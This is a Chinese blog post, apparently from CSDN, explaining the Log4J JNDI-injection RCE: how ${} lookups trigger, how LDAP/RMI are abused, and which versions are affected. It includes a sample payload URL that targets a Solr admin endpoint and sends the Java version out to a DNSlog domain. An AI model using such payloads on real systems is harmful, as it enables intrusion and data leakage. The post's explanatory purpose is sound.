Log4J RCE漏洞

本文详细介绍了Log4J RCE漏洞,包括其影响范围、排查方法和修复措施。Log4J的JNDI注入原理是通过${jndi:ldap://...}触发,允许攻击者通过LDAP服务器执行恶意代码。修复方案包括禁止lookup下载远程文件、过滤相关关键词和升级Log4j版本。此外,还讲述了Log4J在Java日志记录中的作用及其使用方法。
摘要由CSDN通过智能技术生成

Log4J RCE

首先log4j打印日志有四个级别:debug、info、warn、error;不管哪个方法打印日志,正常的log处理过程中,对 ${ 这两个紧邻的字符做检测,一旦遇到类似报答是结构的字符串就会触发替换机制。一旦log字符串中检测到 ${} ,就会解析其中的字符串尝试使用 JDNI的 lookup()方法 查询,因此,只要能可攻至log阐述内容,就有机会实现漏洞利用。或者说服务器会记录用户输入的信息;这样log4j RCE都会被触发;

讲解loockup方法:
在log4j中可能需要引用一些外部资源、或者动态调用一些资源,通过lookups方法实现;它里面有docker lookup、Java loockup、Jndi loockup等等方法来调用资源(内置好的);通过Java loockup方法可以获取一些Java运行时(${java:runtime})、Java虚拟机(${java:vm})、操作系统的信息(${java:os})等等;我们攻击使用jndi loockup方法可以访问ldap、rmi服务来动态的获取一些资源;

当用户在登录的时候,服务器的后台使用logger.info("xxx" +user.getUsername())来记录用户名,就存在Log4J注入漏洞;

**RMI(远程接口调用):使用RMI同样也可以实现JNDI注入。

请添加图片描述

http://127.0.0.1:8983/admin/cores?action=$ {jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}

影响范围

  1. 使用了Log4j的组件,版本在2.x <= 2.14.1
  2. JDK版本小于8u191、7u201、6u211
序号 受影响项目 解决版本
1 Apache Archiva 2.2.6
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值